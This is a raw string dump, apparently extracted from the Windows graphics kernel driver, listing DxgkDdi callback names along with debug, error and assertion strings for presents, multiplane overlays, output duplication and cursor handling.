DxgkDdiGetNodeMetadata is required. DxgkDdiFormatHistoryBuffer is required. DxgkDdiOpenAllocation is required. DxgkDdiGetStandardAllocationDriverData is required. DxgkDdiQueryDependentEngineGroup is required. DxgkDdiPreemptCommand is required. DxgkDdiResetEngine is required. DxgkDdiQueryEngineStatus is required. DxgkDdiRestartFromTimeout is required. DxgkDdiResetFromTimeout is required. DxgkDdiSetVirtualMachineData is required. DxgkDdiSetStablePowerState is required. DxgkDdiAcquireSwizzlingRange is not used. DxgkDdiCommitVidPn is not used. DxgkDdiCheckMultiPlaneOverlaySupport2 is not used. DxgkDdiCheckMultiPlaneOverlaySupport is not used. DxgkDdiControlDiagnosticReporting is not used. DxgkDdiCheckMultiPlaneOverlaySupport3 is not used. DxgkDdiControlInterrupt2 is not used. DxgkDdiControlInterrupt is not used. DxgkDdiControlModeBehavior is not used. DxgkDdiControlInterrupt3 is not used. DxgkDdiCreatePeriodicFrameNotification is not used. DxgkDdiCreateOverlay is not used. DxgkDdiDestroyOverlay is not used. DxgkDdiCreateProtectedSession is not used. DxgkDdiDestroyProtectedSession is not used. DxgkDdiDestroyPeriodicFrameNotification is not used. DxgkDdiEnumVidPnCofuncModality is not used. DxgkDdiDisplayDetectControl is not used. DxgkDdiFlipOverlay is not used. DxgkDdiExchangePreStartInfo is not used. DxgkDdiGetPostCompositionCaps is not used. DxgkDdiGetMultiPlaneOverlayCaps is not used. DxgkDdiIsSupportedVidPn is not used. DxgkDdiGetScanLine is not used. DxgkDdiPostMultiPlaneOverlayPresent is not used. DxgkDdiNotifyFocusPresent is not used. DxgkDdiPresentToHwQueue is not used. DxgkDdiPresent is not used. DxgkDdiQueryCurrentFence is not used. DxgkDdiQueryConnectionChange is not used. DxgkDdiRecommendFunctionalVidPn is not used. DxgkDdiQueryDiagnosticTypesSupport is not used. DxgkDdiReleaseSwizzlingRange is not used. DxgkDdiRecommendMonitorModes is not used. DxgkDdiRenderKm is not used. DxgkDdiRenderGdi is not used. DxgkDdiSetPalette is not used. DxgkDdiSetDisplayPrivateDriverFormat is not used. DxgkDdiSetPointerShape is not used. DxgkDdiSetPointerPosition is not used. DxgkDdiSetTargetAdjustedColorimetry is not used. DxgkDdiSetPowerPState is not used. DxgkDdiSetTargetContentType is not used. DxgkDdiSetTargetAnalogCopyProtection is not used. DxgkDdiSetTimingsFromVidPn is not used. DxgkDdiSetTargetGamma is not used. DxgkDdiSetVidPnSourceAddress is not used. DxgkDdiSetVideoProtectedRegion is not used. DxgkDdiSetVidPnSourceAddressWithMultiPlaneOverlay2 is not used. DxgkDdiSetVidPnSourceAddressWithMultiPlaneOverlay is not used. DxgkDdiSetVidPnSourceVisibility is not used. DxgkDdiSetVidPnSourceAddressWithMultiPlaneOverlay3 is not used. DxgkDdiUpdateActiveVidPnPresentPath is not used. DxgkDdiStopCapture is not used. DxgkDdiUpdateOverlay is not used. DxgkDdiUpdateMonitorLinkInfo is not used. DxgkDdiCancelCommand is not used. DxgkDdiCancelCommand is required. DxgkDdiRender is required. DxgkDdiPatch is required. DxgkDdiPatch is not used. DxgkDdiSubmitCommand is required. DxgkDdiSubmitCommand is not used. DxgkDdiRender is not used. DxgkDdiDestroyProcess is required. DxgkDdiCreateProcess is required. DxgkDdiSetRootPageTable is required. DxgkDdiGetRootPageTableSize is required. DxgkDdiCreateProcess is not used. DxgkDdiSubmitCommandVirtual is required. DxgkDdiGetRootPageTableSize is not used. DxgkDdiDestroyProcess is not used. DxgkDdiSubmitCommandVirtual is not used. DxgkDdiSetRootPageTable is not used. DxgkDdiUnmapCpuHostAperture is not used. DxgkDdiMapCpuHostAperture is not used. DxgkDdiEndExclusiveAccess is required. DxgkDdiBeginExclusiveAccess is required. DxgkDdiDestroyHwQueue is not used. DxgkDdiCreateHwQueue is not used. DxgkDdiResumeContext is not used. DxgkDdiResetHwEngine is not used. DxgkDdiSetContextSchedulingProperties is not used. DxgkDdiResumeHwEngine is not used. DxgkDdiSetupPriorityBands is not used. DxgkDdiSetSchedulingLogBuffer is not used. DxgkDdiSubmitCommandToHwQueue is not used. DxgkDdiSignalMonitoredFence is not used. DxgkDdiSuspendContext is not used. Invalid private driver data size for NoKmdAccess: %I64d o_pSubkeyHandle != NULL Invalid private driver data tag for NoKmdAccess: %I64d \SystemRoot\System32\drivers\dxgmms1.sys Unsupported DXGMMS version requested, returning 0x%I64x \SystemRoot\System32\drivers\dxgmms2.sys Failed to load dxgmms%u.sys. Status=0x%.8x Cannot find DriverUnload export in dxgmms.sys, returning 0x%I64x Failed to allocate VIDMM_EXPORT returning 0x%I64x Required export can't be found in dxgmms.sys, returning 0x%I64x Failed to allocate VIDSCH_EXPORT returning 0x%I64x Destroying kernel plane state without explicitly asking driver to disable plane on source0x%I64x, plane:0x%I64x Front buffer rendering detected for dxgprocess:0x%I64x on source:%u, plane:%u Setting different durations on different planes of VidPnSourceId:0x%I64x. See ?? (dxgkrnl!MOCKDRIVERSTATE_DURATION*)(0x%I64x) for details Presenting multi plane overlay plane count (0x%I64x) is invalid, returing 0x%I64x at 0x%I64x Presenting multi plane overlay from unexpected process 0x%I64x 0x%I64x PresentMultiPlaneOverlay called on a render only adapter, returning 0x%I64x Invalid VidPnSoureId 0x%I64x specified in DxgkPresentMultiPlaneOverlay, returning 0x%I64x This Dwm Device (0x%I64x) does not have VidPn ownership for source 0x%I64x, another DWM device (0x%I64x) has shared ownership, likely Dwm device leak Presenting multi plane overlay is only supported from the DWM process 0x%I64x 0x%I64x GetDisplayAdapter() == GetRenderAdapter() Invalid VidPnSoureId 0x%I64x specified in DxgkPresentMultiPlaneOverlay2, returning 0x%I64x Encountered exception reading private driver data. Returning 0x%I64x hFlipToFence (0x%I64x) not found, returning 0x%I64x Duplicate hFlipToFence (0x%I64x). FlipToFence must be different for every plane, returning 0x%I64x Duplicate hFlipAwayFence (0x%I64x). FlipAwayFence must be different for every plane, returning 0x%I64x cEnablingLayers || cUpdatingLayers || cDisablingLayers hFlipFromFence (0x%I64x) not found, returning 0x%I64x 0x%I64x trying to broadcast to %I64d when limit is %I64d, returning 0x%I64x (static_cast(cEnablingLayers)+ static_cast(cUpdatingLayers)+ static_cast(cDisablingLayers)) <= pArgs->PresentPlaneCount Failed to read dirty rects data. Returning 0x%I64x 0x%I64x failed, can't broadcast flip to multiple context on the same physical adapter returning 0x%I64x pPresentDdiArg->pDmaBuffer == NULL FlipOnVSyncSwFlipQueue == pVidSchSubmitData->FlipMode FlipToIndex < cLayersInSchedulerArray cLayersInSchedulerArray <= DXGK_MAX_MPO_PLANES_PER_SOURCE Failed to read private driver data. Returning 0x%I64x FlipToIndex < DXGK_MAX_MPO_PLANES_PER_SOURCE 0x%I64x failed to reference allocation for FlipToAllocation %I64x, returning 0x%I64x pDxgAlloc pPlane->pPlaneAttributes->SrcRect.bottom > pPlane->pPlaneAttributes->SrcRect.top pPlane->pPlaneAttributes->SrcRect.right > pPlane->pPlaneAttributes->SrcRect.left pPlane->InputFlags.Enabled pFlipOverlayData->ToDisableLayers & (1 << LayerIndex) Failed to allocate FlipToSyncObjectMutexArray or FlipAwaySyncObjectMutexArray: Status = 0x%I64x Physical adapter index for context and allocation must be the same. DXGALLOCATION 0x%I64x 0x%I64x failed to submit present for multi plane overlay, returning 0x%I64x pBroadcastContext[i]->GetContextLock()->IsExclusiveOwner() 4 >= static_cast< UINT >(PlaneAttributes.Rotation) 1 <= static_cast< UINT >(PlaneAttributes.Rotation) Invalid ContextCount, returing 0x%I64x at 0x%I64x Fail to capture D3DKMT_PRESENT_MULTIPLANE_OVERLAY3 parameter, returing 0x%I64x at %I64x Present.PresentPlaneCount <= DXGK_MAX_MPO_PLANES_PER_SOURCE Present.PresentPlaneCount > 0 Present.ContextCount <= D3DDDI_MAX_BROADCAST_CONTEXT Present.ContextCount > 0 Invalid HDR metadata size 0x%I64x specified with D3DDDI_HDR_METADATA_TYPE_HDR10, returning 0x%I64x Non-NULL HDR metadata specified with D3DDDI_HDR_METADATA_TYPE_NONE, returning 0x%I64x Invalid HDR metadata size 0x%I64x specified with D3DDDI_HDR_METADATA_TYPE_HDR10PLUS, returning 0x%I64x DxgkPresentMultiPlaneOverlay doesn't support Stereo on more than 1 plane. Context 0x%I64x, Returning 0x%I64x (!GetRenderAdapter() && IsIndirectDisplayDevice) || (GetDisplayAdapter() == GetRenderAdapter()) FlipStereoTemporaryMono cannot be used with FlipStereoPreferRight. STATUS_INVALID_PARAMETER FlipStereoTemporaryMono and FlipStereo can only be used with stereo primary allocations. STATUS_INVALID_PARAMETER ret = 0x%I64x Context 0x%I64x: Invalid allocation handle for plane 0 specified: 0x%I64x FlipStereoTemporaryMono flag is set but the current display mode does not support it. STATUS_GRAPHICS_PRESENT_MODE_CHANGED Stereo flag is set but the current display mode does not support stereo. STATUS_GRAPHICS_PRESENT_MODE_CHANGED ret = 0x%I64x Context 0x%I64x Failed to obtain display mode, VidPnSourceId 0x%I64x Failed to allocate memory for MPO allocation references 0x%I64x Context 0x%I64x PresentMPO fails because the driver doesn't support MPO and plane 0 is not enabled ret = 0x%I64x Context 0x%I64x rotation is not valid, index 0x%I64x, rotation 0xI64x ret = 0x%I64x Context 0x%I64x Dest rect is outside of screen rect, index 0x%I64x ret = 0x%I64x Context 0x%I64x Dest rect is invalid, index 0x%I64x 0x%I64x Context 0x%I64x PresentMPO fails because the driver doesn't support MPO and rotation 0x%I64x is specified 0x%I64x Context 0x%I64x PresentMPO fails because the driver doesn't support MPO and Source/Dest/Clip rects are not identical D3DDDI_HDR_METADATA_TYPE_HDR10 == pArgs->HDRMetaDataType || D3DDDI_HDR_METADATA_TYPE_HDR10PLUS == pArgs->HDRMetaDataType || D3DDDI_HDR_METADATA_TYPE_NONE == pArgs->HDRMetaDataType 0x%I64x Context 0x%I64x PresentMPO fails because the driver doesn't support MPO and VidPnSourceId (0x%I64x) doesn't match the surface VidPnSOurceId (0x%I64x) m_pPresentDmaBuffer == NULL NULL == pArgs->pHDRMetaData && NULL == pArgs->HDRMetaDataSize pPlane0->LayerIndex == 0 !NT_SUCCESS(Status) || (GetDisplayAdapter(VidPnSourceId)->GetDisplayCore()->MapVidPnSourceToVidPnTarget(VidPnSourceId) != D3DDDI_ID_UNINITIALIZED) GetRenderCore()->IsCoreResourceSharedOwner() || Status == STATUS_DEVICE_REMOVED VmBusSendCreateNtSharedObject failed pObject == NULL Cannot share object: Keyed mutex 0x%I64x does not use NT security sharing. Returning 0x%I64x. Input handle count is out of range. Returning 0x%I64x Failed to allocate DXGSHAREDSYNCOBJECT Input object handle is NULL. Returning 0x%I64x Invalid object attributes. Returning 0x%I64x DxgkSharedResource PsGetCurrentThreadPreviousMode() == UserMode DxgkSharedSyncObject DxgkSharedKeyedMutexObject DxgkDisplayManagerObject DxgkSharedSwapChainObject DxgkSharedBundleObject DxgkSharedProtectedSessionObject Cannot open native fence on an DXGADAPTER (0x%I64x) that does not support native GPU fences DxgkCompositionObject Input handle count (0x%I64x) is out of range. Returning 0x%I64x Objects[i] == NULL AccessInheritMask (0x%I64x) is invalid for Input handle count (0x%I64x). Returning 0x%I64x pBundleObject == NULL pSharedObject->pSharedResource != nullptr false == ObIsKernelHandle(hNtHandles[i]) Failed to allocate NT shared object handle Failed to allocate DXGSHAREDVMOBJECT Reserved flags must be set to 0, returning 0x%I64x When SameAccess flag is specified, DesiredAccess must be 0, returning 0x%I64x NewReferenceCount > 0 m_MutexArray[OUTPUTDUPL_MUTEX_TYPE_OTHER].hKeyedMutex == 0 m_MutexArray[OUTPUTDUPL_MUTEX_TYPE_CONSUMER].hKeyedMutex == 0 m_MutexArray[OUTPUTDUPL_MUTEX_TYPE_PRODUCER].hKeyedMutex == 0 Handle 0x%I64x doesn't have keyed mutex or sync object KeyedMutex 0x%I64x failed to allocate PrivateDriverData buffer of 0x%I64d bytes Overflow while calculating buffer size KeyedMutex 0x%I64x failed to find resource for handle 0x%I64x Failed to allocate memory for D3DDDI_OPENALLOCATIONINFO2 Failed to open local producer mutex for KeyedMutex 0x%I64x in process 0x%I64x KeyedMutex 0x%I64x already opened locally by device 0x%I64x Failed to open shared surface for KeyedMutex 0x%I64x in process 0x%I64x, insure the DDA producer and consumer devices are on the same adapter Failed to add producer device to PAL for KeyedMutex 0x%I64x in process 0x%I64x Failed to open DxgiKeyedMutex for device 0x%I64x in process 0x%I64x Failed to open GPU fence 0x%I64x for device 0x%I64x in process 0x%I64x !m_hFenceLocal !m_pFenceSyncObj (pContext == NULL) || (m_pProducerDevice->GetRenderCore()->IsCoreResourceSharedOwner()) bStatus m_MutexArray[Type].pProcess == PsGetCurrentProcess() m_MutexArray[Type].hKeyedMutex != 0 IsListEmpty(&m_PendingDestroyListHead) Failed to release DxgiKeyedMutex 0x%I64x Output duplication manager only support 0x%I64x sources Failed to create high frequency diagnostic buffer. OUTPUTDUPL_SESSION_MGR is NULL Cannot create new context lists with zero elements New source context lists cannot be create while we have existing ones Failed to create temp present processing buffer Failed to allocated new source context lists Failed to create context list for VidPn source 0x%I64x. RetStatus == Status As we failed to process the present we will mark all the contexts on VidPnSource 0x%I64x for destroy Failed to expand tmp buffer for present logging packet. (m_pDisplayCore == NULL) || (m_pDisplayCore->IsCoreResourceSharedOwner()) Process 0x%I64x is already duplicating output 0x%I64x pDevice->IsDeviceLockExclusiveOwner() || pDevice->GetRenderAdapter()->IsStopResetLockExclusiveOwner() Failed to allocate OUTPUTDUPL_CONTEXT class for VidPn 0x%I64x, process 0x%I64x. Failed to initialize OUTPUTDUPL_CONTEXT class for VidPn 0x%I64x, process 0x%I64x. pContextList->Mutex.IsOwner() pContextList->cActiveContexts < m_MaxActiveOutputDuplApps Invalid output duplication meta data type: (*ppCurrentContext)->IsPendingDestroy() == FALSE DxgEnableDesktopDuplicationDiagnostics IsNewConnectionAllowed() == FALSE pContextList->cActiveContexts > 0 Cannot reconfigure the number of sources if any are active !pDisplayAdapter || !pDisplayAdapter->IsCoreResourceExclusiveOwner() !pRenderAdapter->IsCoreResourceExclusiveOwner() (!o_ppRenderAdapter || *o_ppRenderAdapter != NULL) && (!o_ppDisplayAdapter || *o_ppDisplayAdapter != NULL) (ULONG_PTR)pCreate > MM_USER_PROBE_ADDRESS Screen capture (DDA) is disabled because of MDM policy Screen capture (DDA) is disabled in VAIL container Failed to create remote output duplication manager for 0x%I64x sources Output duplication is not supported on disconnected session Invalid KeyedMutexCount specified 0x%I64x (ULONG_PTR)pDestroy > MM_USER_PROBE_ADDRESS Connection currently not allowed screenDuplication Failed to allocate memory for output duplication manager on ADAPTER_DISPLAY 0x%I64x. Invalid parameter for the function DestroyOutputDuplManager pOutputDuplMgr = 0x%I64x. Failed to initialize output duplication manager on ADAPTER_DISPLAY 0x%I64x. Failed to allocate session data for output duplication with 0x%I64x apps in session 0x%I64x. (Status == STATUS_NO_MEMORY) || NT_SUCCESS(Status) Failed to get session data buffer for output duplication with 0x%I64x apps in session 0x%I64x. (pProcesses[IndexFound].pProcess == NULL) || (pProcesses[IndexFound].pProcess == pProcess) pProcesses bFound pProcesses[IndexFound].RefCount == 0 pProcesses[i].RefCount == 0 Failed to trigger WNF_DX_MODERN_OUTPUTDUPLICATION_CONTEXTS WNF, Status = 0x%I64x Could not get Win32k functions!! Failed to set tmp region to current dirty rect Failed to combine Gdi region to rect 0x%I64x Failed to process new move dst against dirty list Failed to process new move dst against move list Failed to process dirty against move list Failed to convert dirty rects to GDI region Failed to add existing move to dirty list Failed to combine move rect with dirty region Failed to add new to move list Failed to add new move to dirty list Failed to expand move list to 0x%I64x move Failed to get bounding box Failed to open local keyed mutex for consumer process. Failed to open surface NT handle for consumer process. Failed to Initialize DDAMeta for VidPn source 0x%I64x. Failed to allocate DDAMeta for VidPn source 0x%I64x. (pUpdate->Type == OUTPUTDUPL_UPDATE_TYPE_PRESENT) == (pUpdate->pContext != NULL) Failed to allocate 0x%I64x bytes for new pointer shape on source 0x%I64x at initialization m_pAccumulatedFrameInfo->PresentUpdateStatus == PRODUCER_INFO_PRESENT_UPDATE_NONE m_pCurrentFrameInfo->PresentUpdateStatus != PRODUCER_INFO_PRESENT_UPDATE_READY !bNewUpdateReady || (pUpdate->Type != OUTPUTDUPL_UPDATE_TYPE_PRESENT) Failed to find source surface size Unexpected state combination 0x%I64x pFrameInfo->PresentUpdateStatus != PRODUCER_INFO_PRESENT_UPDATE_READY Failed to allocate 0x%I64x bytes for new pointer shape on source 0x%I64x KeyedMutex is already been opened by device 0x%I64x so cannot open for device 0x%I64x OpenForDevice() Failed 0x%I64x !pCurrentMutexDevice || (pDeviceFound == pCurrentMutexDevice) Failed to open local mutex of TYPE_OTHER for global mutex 0x%I64x in OUTPUTDUPL_CONTEXT 0x%I64x m_pAccumulatedFrameInfo->PresentUpdateStatus != PRODUCER_INFO_PRESENT_UPDATE_READY !((m_pCurrentFrameInfo->PresentUpdateStatus == PRODUCER_INFO_PRESENT_UPDATE_PENDING) && (m_pAccumulatedFrameInfo->PresentUpdateStatus == PRODUCER_INFO_PRESENT_UPDATE_PENDING)) !m_bPendingDestroy Status != STATUS_TIMEOUT m_SessionRefAdded Device 0x%I64x: Driver 0x%I64x didn't supply Overlay functions, returning 0x%I64x GetAdapter()->IsCoreResourceSharedOwner() Out of overlay hardware on adapter 0x%I64x GetAdapter()->IsCoreResourceExclusiveOwner() GetAdapter()->IsOverlayEnabled() pDevice->IsSupportOverlay() Failed to allocate storage to validate input Invalid hAllocation specified: 0x%I64x, returning 0x%I64x AllocationList passed to DxgkEvict cannot be NULL. Call to DxgkEvict contained no allocations, returning 0x%I64x Reserved flags passed to DxgkEvict should be all zeros. Invalid hPagingQueue (0x%I64x) specified, returning 0x%I64x Invalid use of property mask. Must set at least one property, returning 0x%I64x Mismatch between paging queue device 0x%p and allocation device 0x%p Invalid hAllocation 0x%x KMD has not exposed ValidateUpdateAllocationProperty, it is null, returning 0x%I64x Driver version is less then WDDM 2.1 RS1.3, on 0x%I64x KMD DDI ValidateUpdateAllocationProperty failed with status, 0x%I64x DXGALLOCATION 0x%I64x has NULL VIDMM_ALLOC assigned to it ((ClipBoxRect.right - ClipBoxRect.left) >= (LONG)(pSavedCursor->Width)) && ((ClipBoxRect.bottom - ClipBoxRect.top) >= (LONG)(pSavedCursor->Height)) (ClipBoxRect.right - pPointerPos->X) >= 0 (ClipBoxRect.bottom - pPointerPos->Y) >= 0 pClipParams->ExtraPixelsRightMono < BITS_PER_BYTE Orientation == D3DKMDT_VPPR_IDENTITY pClipParams->ExtraPixelsLeftMono == 0 || pClipParams->ExtraPixelsRightMono == 0 pOrigCursorShape->Flags.Color || pOrigCursorShape->Flags.MaskedColor Invalid DXGKARG_SETPOINTERSHAPE passed in SetPointerShapeForDisplaySource() function: Adapter LUID: (0x%I64x%08I64x) VidpnSourceId: (0x%I64x). pNewCursorShape->Flags.Color || pOrigCursorShape->Flags.MaskedColor pDisplayAdapter->GetDriverDdiInterfaceVersion() >= DXGKDDI_INTERFACE_VERSION_WDDM2_2_RS2_1 Invalid DXGKARG_SETPOINTERPOSITION passed in SetPointerShapeForDisplaySource() function: Adapter LUID: (0x%I64x%08I64x) VidpnSourceId: (0x%I64x). 0x%I64x VidPnSourceId=0x%I64x Primary is not visible: 0x%I64x DXGADAPTER=0x%I64x IsVirtualizationDisabledForTarget failed on VidPn Source 0x%I64x adapter 0x%I64x%08I64x, returning 0x%I64x. Cannot find the session view for VidPn source 0x%I64x on adapter 0x%I64x%08I64x in session 0x%I64x, returning 0x%I64x. invalid Flags specified: 0x%I64x DXGADAPTER=0x%I64x !pDisplayAdapter->IsCoreResourceSharedOwner() Adapter LUID (0x%I64x%08I64x) passed to DxgkWin32kSetPointerShape is not a display adapter Failed to reference adapter by LUID (0x%I64x%08I64x) in DxgkWin32kSetPointerShape function. Invalid DXGKARG_SETPOINTERPOSITION passed in DxgkWin32kSetPointerShape function: Adapter LUID: (0x%I64x%08I64x) VidpnSourceId: (0x%I64x). VidPn source id (0x%I64x) is invalid Failed to get CoreAdapterAccess lock on adapter 0x%I64x%08I64x, returning 0x%I64x. Cannot send shape if cursor is not visible: Adapter LUID: (0x%I64x%08I64x) VidpnSourceId: (0x%I64x). GetSavedCursor() returned invalid cursor shape, Width:0x%I64x, Height:0x%I64x, pPixel:0x%I64x. Invalid DXGKARG_SETPOINTERPOSITION passed in DxgkSetPointerPosition() function: Adapter LUID: (0x%I64x%08I64x) VidpnSourceId: (0x%I64x). DdiSetPointerShape failed while setting clipped shape on VidPn Source 0x%I64x adapter 0x%I64x%08I64x, returning 0x%I64x. GetClippedCursor() returned invalid cursor shape, Width:0x%I64x, Height:0x%I64x, pPixel:0x%I64x. Failed to reference adapter by LUID (0x%I64x%08I64x) in DxgkWin32kSetPointerPosition function. DdiSetPointerShape failed while setting last saved cursor shape on VidPn Source 0x%I64x adapter 0x%I64x%08I64x, returning 0x%I64x. Adapter LUID (0x%I64x%08I64x) passed to DxgkWin32kSetPointerPosition is not a display adapter Invalid hAdapter(0x%I64x) in DxgkNotifyCursorSupportChangeCB function. pArgs(NULL) in DxgkNotifyCursorSupportChangeCB function Invalid VidPnSourceId : (0x%I64x) in DxgkNotifyCursorSupportChangeCB function. Non-display adapter (0x%I64x) in DxgkNotifyCursorSupportChangeCB function DXGADAPTER 0x%I64x is not an active render adapter, returning 0x%I64x Failed to acquire shared access for DXGADAPTER 0x%I64x, returning 0x%I64x Failed to acquire shared code device acess, returning 0x%I64x Encountered exception copying args. Returning:0x%I64x Invalid CompSurfaceLuid for Cancel Presents, returning 0x%I64x 0x%I64x 0x%I64x encountered exception copying args Reserved bits should not be set, returning 0x%I64x D3DDDI_HDR_METADATA_TYPE_HDR10 == pVidSchSubmitData->HDRMetaDataType || D3DDDI_HDR_METADATA_TYPE_HDR10PLUS == pVidSchSubmitData->HDRMetaDataType || D3DDDI_HDR_METADATA_TYPE_NONE == pVidSchSubmitData->HDRMetaDataType Encountered exception reading source allocation handle. Returning 0x%I64x Invalid allocation handle in present: 0x%I64x. Returning 0x%I64x pAuxiliaryPresentInfo->size == sizeof(D3DKMT_FLIPMANAGER_AUXILIARYPRESENTINFO) Failed to reference allocation for submission (0x%I64x). Returning 0x%I64x Sync Object and pPresentRedirected must be specified when context is null, returning 0x%I64x Context can not be with sync object, returning 0x%I64x Present token is not submitted due to default semaphore timeout of 20 seconds pRenderCore->IsCoreResourceSharedOwner() hSyncObj (0x%I64x) destroyed, returning 0x%I64x Failed to create present sync object. Returning 0x%I64x Present token is not submitted due to no memory, PresentHistoryTokenQueue: 0x%I64x, returning 0x%I64x pContext->GetContextLock()->IsExclusiveOwner() ret = 0x%I64x Context 0x%I64x: Failed to submit signal for sync object 0x%I64x 0x%I64x destination must be primary 0x%I64x 0x%I64x 0x%I64x ret = 0x%I64x Context 0x%I64x: Failed to submit wait for sync object 0x%I64x 0x%I64x Source and destination must be different 0x%I64x 0x%I64x 0x%I64x 0x%I64x Invalid Source Rect [0x%I64x 0x%I64x 0x%I64x 0x%I64x] 0x%I64x 0x%I64x primary source has different VidPnSourceId 0x%I64x 0x%I64x != 0x%I64x SubRect 0x%I64x is invalid 0x%I64x 0x%I64x 0x%I64x 0x%I64x 0x%I64x Source Rect [0x%I64x 0x%I64x 0x%I64x 0x%I64x] contains an invalid subrect 0x%I64x Dest Rect [0x%I64x 0x%I64x 0x%I64x 0x%I64x] contains an invalid subrect 0x%I64x 0x%I64x specified destination RECT has different size from source RECT 0x%I64x 0x%I64x 0x%I64x m_pPresentDmaBuffer 0x%I64x 0x%I64x DirectFlip Presents are only supported from the DWM process 0x%I64x 0x%I64x 0x%I64x m_pPresentDmaBuffer || IsParavirtualized() !NT_SUCCESS(ntStatus) || (GetDisplayAdapter(VidPnSourceId)->GetDisplayCore()->MapVidPnSourceToVidPnTarget(VidPnSourceId) != D3DDDI_ID_UNINITIALIZED) !pPresent->Flags.RedirectedBlt || pPresent->hDestination == NULL Present via GDI cannot be broadcasted pPresent->pSrcSubRects pPresent->SubRectCnt LockData.pData hDestinationAllocation ((pPresent->Flags.RedirectedBlt) && (!pPresent->Flags.RestrictVidPnSource) && (!pPresent->Flags.Rotate)) !pPresent->Flags.RedirectedBlt !NT_SUCCESS(ntStatus) || !m_pPresent->BltViaGDI() || m_pPresent->IsBltEmpty() || pPresent->Flags.ColorFill GetDisplayAdapter() != NULL || pPresent->Flags.CrossAdapter GetRenderCore()->IsCoreResourceSharedOwner() || ntStatus == STATUS_DEVICE_REMOVED ntStatus == STATUS_GRAPHICS_PRESENT_OCCLUDED || ntStatus == STATUS_GRAPHICS_PRESENT_DENIED Failed to allocate memory for present parameters. ret = 0x%I64x 0x%I64x failed with invalid parameters 0x%I64x 0x%I64x 0x%I64x (pDisplayCore != NULL) && pDisplayCore->IsCoreResourceSharedOwner() 0x%I64x 0x%I64x fails Present invalid source allocation 0x%I64x 0x%I64x 0x%I64x fails Present invalid parameters 0x%I64x 0x%I64x 0x%I64x PresentDdiArg.DstRect.right - PresentDdiArg.DstRect.left == PresentDdiArg.SrcRect.right - PresentDdiArg.SrcRect.left pVidMmDmaBuffer PresentDdiArg.SrcRect.left < PresentDdiArg.SrcRect.right PresentDdiArg.DstRect.bottom - PresentDdiArg.DstRect.top == PresentDdiArg.SrcRect.bottom - PresentDdiArg.SrcRect.top PresentDdiArg.SrcRect.right <= pDisplayCore->GetContentRect(VidPnSourceId)->right - pDisplayCore->GetContentRect(VidPnSourceId)->left PresentDdiArg.SrcRect.left >= 0 PresentDdiArg.DstRect.top >= 0 PresentDdiArg.DstRect.top < PresentDdiArg.DstRect.bottom pDstSubRects[i].left < pDstSubRects[i].right PresentDdiArg.SrcRect.bottom <= pDisplayCore->GetContentRect(VidPnSourceId)->bottom - pDisplayCore->GetContentRect(VidPnSourceId)->top pDstSubRects[i].right <= PresentDdiArg.DstRect.right pDstSubRects[i].left >= PresentDdiArg.DstRect.left pDstSubRects[i].top >= PresentDdiArg.DstRect.top pDstSubRects[i].top < pDstSubRects[i].bottom pPresent->pSrcSubRects[i].left < pPresent->pSrcSubRects[i].right pDstSubRects[i].bottom <= PresentDdiArg.DstRect.bottom pPresent->pSrcSubRects[i].left >= PresentDdiArg.SrcRect.left pPresent->pSrcSubRects[i].top < pPresent->pSrcSubRects[i].bottom pPresent->pSrcSubRects[i].top >= PresentDdiArg.SrcRect.top pPresent->pSrcSubRects[i].right <= PresentDdiArg.SrcRect.right pPresent->Flags.ColorFill pPresent->pSrcSubRects[i].bottom <= PresentDdiArg.SrcRect.bottom Invalid destination handle 0x%I64x The (right bottom) of blit sub rect (0x%I64x,0x%I64x) is outside of dst rectangle (0x%I64x,0x%I64x) Invalid source rect SubmitPresent failed 0x%I64x Invalid subrect Invalid destination rect !m_ppBltDmaBuffers Attempting to Blt on a HardwareContext:0x%I64x with no HwQueues Encountered exception reading allocation handles. Returning 0x%I64x pFlipToDxgAllocation DXGCONTEXT 0x%p broadcast present mixes hardware scheduled and non-hardware scheduled contexts. Failed to submit DMA present buffer. Returning 0x%I64x Failed to allocated ReferencedAllocationArray 0x%I64x Broadcast present only supported on the Software Flip Queue, returning 0x%I64x WDDMv2 LDA present contexts must be submitted in the order if increasing physical adapter index WDDMv2 LDA present must be on contexts, which support GpuVa Source allocation cannot be NULL for Flip present Invalid allocation handle in Present 0x%I64x. Returning 0x%I64x Failed to acquire DMA buffer for Present. Context: 0x%I64x Hardware context present is not provided with hardware queue array 0x%I64x Driver must not return STATUS_GRAPHICS_INSUFFICIENT_DMA_BUFFER for Flip 0x%I64x Rejecting Present because the virtual address is not assigned to the destination allocation, ntStatus 0x%I64x pPresentDdiArg->pAllocationInfo == AllocationInfo 0x%I64x Driver failed Present 0x%I64x GetVidSchExport()->VidSchIsTDRPending(GetRenderCore()->GetVidSchGlobal()) || static_cast(pPresentDdiArg->pDmaBuffer) > static_cast(pDmaBuffer) pPresentDdiArg->pAllocationList == GetVidMmExport()->VidMmGetDmaAllocationList(pVidMmDmaBuffer) GetVidMmExport()->VidMmGetDmaBufferLength(pVidMmDmaBuffer) >= DMABufferLength static_cast(pPresentDdiArg->pDmaBuffer) <= static_cast(pDmaBuffer)+GetVidMmExport()->VidMmGetDmaBufferLength(pVidMmDmaBuffer) pPresentDdiArg->pPatchLocationListOut <= GetVidMmExport()->VidMmGetDmaPatchLocationList(pVidMmDmaBuffer) + GetVidMmExport()->VidMmGetDmaPatchLocationListLength(pVidMmDmaBuffer) pPresentDdiArg->pPatchLocationListOut >= GetVidMmExport()->VidMmGetDmaPatchLocationList(pVidMmDmaBuffer) DMABufferLength > 0 || GetVidSchExport()->VidSchIsTDRPending(GetRenderCore()->GetVidSchGlobal()) GetVidMmExport()->VidMmGetDmaPatchLocationListLength(pVidMmDmaBuffer) >= PatchLocationTableLength pVidSchSubmitData->SubmitFlags.SplitedPresent == FALSE pSrcAllocation pVidSchFlipMultiplaneOverlay->ToLayers == 0 NT_SUCCESS(RefStatus) GetContextLock()->IsExclusiveOwner() 0x%I64x Invalid Source Point [0x%I64x 0x%I64x : 0x%I64x 0x%I64x] in Move Rect m_pCddPrimaryResource[nOutput]->m_pAllocationList->m_hAllocationHandle m_pCddPrimaryResource[nOutput]->m_SharedResource m_pCddPrimaryResource[nOutput] QueryResInfo.PrivateRuntimeDataSize == 0 NULL != pDevice Device 0x%I64x failed to allocate PrivateDriverData buffer of 0x%I64d bytes *low1 < *high1 Device 0x%I64x: Invalid staging buffer resource handle (0x%I64x) specified low < high *low2 < *high2 (pDisplayAdapter != NULL) && (pDisplayAdapter == pDevice->GetDisplayAdapter(pPresent->VidPnSourceId)) 0x%I64x not able to create hVisRgn hWindow = 0x%I64x hdc = 0x%I64x hDev = 0x%I64x PresentFlags = 0x%I64x 